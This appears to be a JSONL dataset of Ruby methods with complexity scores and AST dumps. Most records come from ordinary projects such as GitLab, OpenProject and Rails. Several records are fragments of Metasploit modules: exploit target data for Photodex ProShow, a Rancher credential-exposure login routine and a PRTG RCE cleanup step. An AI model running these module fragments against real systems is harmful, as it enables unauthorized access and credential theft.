"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[9844]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[9844]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[270707033]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-06-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"load\"]}]}]}]}]}]}]}","id":"1206a8f9-5497-4d15-ab37-8ffbd9e4bd69"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/full_work_package.rb","start_line":100,"raw_source":"def select_log_unit_costs_action\n      SeleniumHubWaiter.wait\n      click_button(I18n.t(\"js.button_more\"))\n      find(:menuitem, text: I18n.t(:button_log_costs)).click\n      Pages::WorkPackages::CostEntries.new.wait_for_spent_on_date_field_to_be_loaded\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"select_log_unit_costs_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SeleniumHubWaiter\"]},\"wait\"]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.button_more\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"sym\",\"children\":[\"menuitem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_log_costs\"]}]}]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pages\"]},\"WorkPackages\"]},\"CostEntries\"]},\"new\"]},\"wait_for_spent_on_date_field_to_be_loaded\"]}]}]}","id":"83dc01b9-cc17-4a5a-91d1-927a805071ec"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_analysis.rb","start_line":463,"raw_source":"def self.get_daily_perf(obj, range, ext_options, perf_cols)\n    return unless perf_cols\n\n    ext_options ||= {}\n    Metric::Helper.find_for_interval_name(\"daily\", ext_options[:time_profile] || ext_options[:tz], ext_options[:class])\n                  .order(\"timestamp\") # .select(perf_cols) - Currently passing perf_cols to select is broken because it includes virtual cols. This is actively being worked on.\n                  .where(:resource => obj, :timestamp => Metric::Helper.time_range_from_hash(range))\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_daily_perf\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"range\"]},{\"type\":\"arg\",\"children\":[\"ext_options\"]},{\"type\":\"arg\",\"children\":[\"perf_cols\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"perf_cols\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ext_options\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"find_for_interval_name\",{\"type\":\"str\",\"children\":[\"daily\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"time_profile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tz\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"timestamp\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"time_range_from_hash\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}]}]}","id":"782f3652-1ff8-4a51-9f32-620e29e5392c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/gitlab_uploader.rb","start_line":101,"raw_source":"def model_valid?\n    !!model\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"model_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"!\"]},\"!\"]}]}","id":"5caeb7ac-bf7e-474d-a5a2-20df18a9bc45"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/translation/topic_locale_detector.rb","start_line":6,"raw_source":"def self.detect_locale(topic)\n        return if topic.blank?\n\n        detected_locale = LanguageDetector.new(topic.title.dup, topic:).detect\n        locale = LocaleNormalizer.normalize_to_i18n(detected_locale)\n        topic.update_column(:locale, locale)\n        locale\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"detect_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"detected_locale\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LanguageDetector\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]},\"dup\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]},\"detect\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LocaleNormalizer\"]},\"normalize_to_i18n\",{\"type\":\"lvar\",\"children\":[\"detected_locale\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}","id":"42101578-4494-4d63-9824-8df6dfd462e9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/users/two_factor_devices_controller.rb","start_line":85,"raw_source":"def ensure_only_sms_type\n        return if params[:type] == \"sms\"\n\n        render_400(message: I18n.t(\"two_factor_authentication.admin.only_sms_allowed\"))\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_only_sms_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"sms\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"render_400\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"two_factor_authentication.admin.only_sms_allowed\"]}]}]}]}]}]}]}","id":"5266740e-f407-40e8-a7b6-df4beed01232"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/teamcity.rb","start_line":114,"raw_source":"def url_is_saas?\n        parsed_url = Addressable::URI.parse(teamcity_url)\n        parsed_url&.scheme == 'https' && parsed_url.hostname.match?(TEAMCITY_SAAS_HOSTNAME)\n      rescue Addressable::URI::InvalidURIError\n        false\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"url_is_saas?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"teamcity_url\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},\"hostname\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"TEAMCITY_SAAS_HOSTNAME\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"c60f4ba8-4703-4d61-8832-2f7db07a23f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/rancher_authenticated_api_cred_exposure.rb","start_line":76,"raw_source":"def login\n    # get our cookie first with CSRF token\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'),\n      'keep_cookies' => true\n    })\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") unless res.code == 200\n\n    json_post_data = JSON.pretty_generate(\n      {\n        'description' => 'UI session',\n        'responseType' => 'cookie',\n        'username' => username,\n        'password' => password\n      }\n    )\n    fail_with(Failure::UnexpectedReply, \"#{peer} - CSRF token not found in cookie\") unless res.get_cookies.to_s =~ /CSRF=(\\w*);/\n\n    csrf = ::Regexp.last_match(1)\n\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'),\n      'keep_cookies' => true,\n      'method' => 'POST',\n      'vars_get' => {\n        'action' => 'login'\n      },\n      'headers' => {\n        'accept' => 'application/json',\n        'X-Api-Csrf' => csrf\n      },\n      'ctype' => 'application/json',\n      'data' => json_post_data\n    )\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::NoAccess, \"#{peer} - Login failed, check credentials\") if res.code == 401\n  end","complexity_score":45.3,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"v1\"]},{\"type\":\"str\",\"children\":[\"management.cattle.io.setting\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"UI session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"responseType\"]},{\"type\":\"str\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[null,\"password\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"CSRF=(\\\\w*);\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - CSRF token not found in cookie\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"v3-public\"]},{\"type\":\"str\",\"children\":[\"localProviders\"]},{\"type\":\"str\",\"children\":[\"local\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"accept\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Api-Csrf\"]},{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"json_post_data\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Login failed, check credentials\"]}]}]},null]}]}]}","id":"39fdb282-7522-4b4c-9014-3d5028f42039"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/validators/ampf_configuration_validator.rb","start_line":113,"raw_source":"def auth_strategy = Registry[\"one_drive.authentication.userless\"].call","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"one_drive.authentication.userless\"]}]},\"call\"]}]}","id":"b239b4de-4155-4d53-91d0-aed87589ab35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/prtg_authenticated_rce.rb","start_line":200,"raw_source":"def prtg_delete_notification\n    uri = datastore['URI']\n\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => normalize_uri(uri, 'api', 'deleteobject.htm'),\n        'cookie' => @cookies,\n        'headers' => {\n          'X-Requested-With' => 'XMLHttpRequest'\n        },\n        'vars_post' => {\n          'id' => @objid,\n          'approve' => '1'\n        }\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, 'Failed to reach remote host')\n    ensure\n      disconnect\n    end\n\n    if res\n      print_good('Deleted malicious notification')\n    else\n      fail_with(Failure::Unknown, 'Failed to delete malicious notification')\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prtg_delete_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"deleteobject.htm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@objid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"approve\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Failed to reach remote host\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Deleted malicious notification\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to delete malicious notification\"]}]}]}]}]}","id":"5f13865a-1593-411d-a458-703726a78969"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/serializers/ai_embedding_definition_serializer.rb","start_line":21,"raw_source":"def api_key\n    object.seeded? ? \"********\" : object.api_key\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"api_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"seeded?\"]},{\"type\":\"str\",\"children\":[\"********\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"api_key\"]}]}]}","id":"8f1b1227-c22b-4124-ae1c-12740b95bba9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/npm_instance_packages.rb","start_line":8,"raw_source":"def group_or_namespace\n        namespace_path = ::Packages::Npm.scope_of(params[:package_name])\n        return unless namespace_path\n\n        Namespace.top_level.by_path(namespace_path)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"group_or_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespace_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Npm\"]},\"scope_of\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace_path\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"top_level\"]},\"by_path\",{\"type\":\"lvar\",\"children\":[\"namespace_path\"]}]}]}]}","id":"29581548-4fad-49ff-9d04-85e447835d56"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/notification_decorator.rb","start_line":157,"raw_source":"def comment_last_ancestor\n    @comment_last_ancestor ||= (json_data.dig(\"comment\", \"ancestors\") || []).last || {}\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_last_ancestor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@comment_last_ancestor\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"comment\"]},{\"type\":\"str\",\"children\":[\"ancestors\"]}]},{\"type\":\"array\",\"children\":[]}]}]},\"last\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"dc902cac-b18a-4842-8786-ac96584ed2d3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/rename_table_test.rb","start_line":19,"raw_source":"def teardown\n        rename_table :octopi, :test_models if connection.table_exists? :octopi\n        super\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"table_exists?\",{\"type\":\"sym\",\"children\":[\"octopi\"]}]},{\"type\":\"send\",\"children\":[null,\"rename_table\",{\"type\":\"sym\",\"children\":[\"octopi\"]},{\"type\":\"sym\",\"children\":[\"test_models\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e54f8dbc-0bf5-48bd-8009-c257d73225a9"}
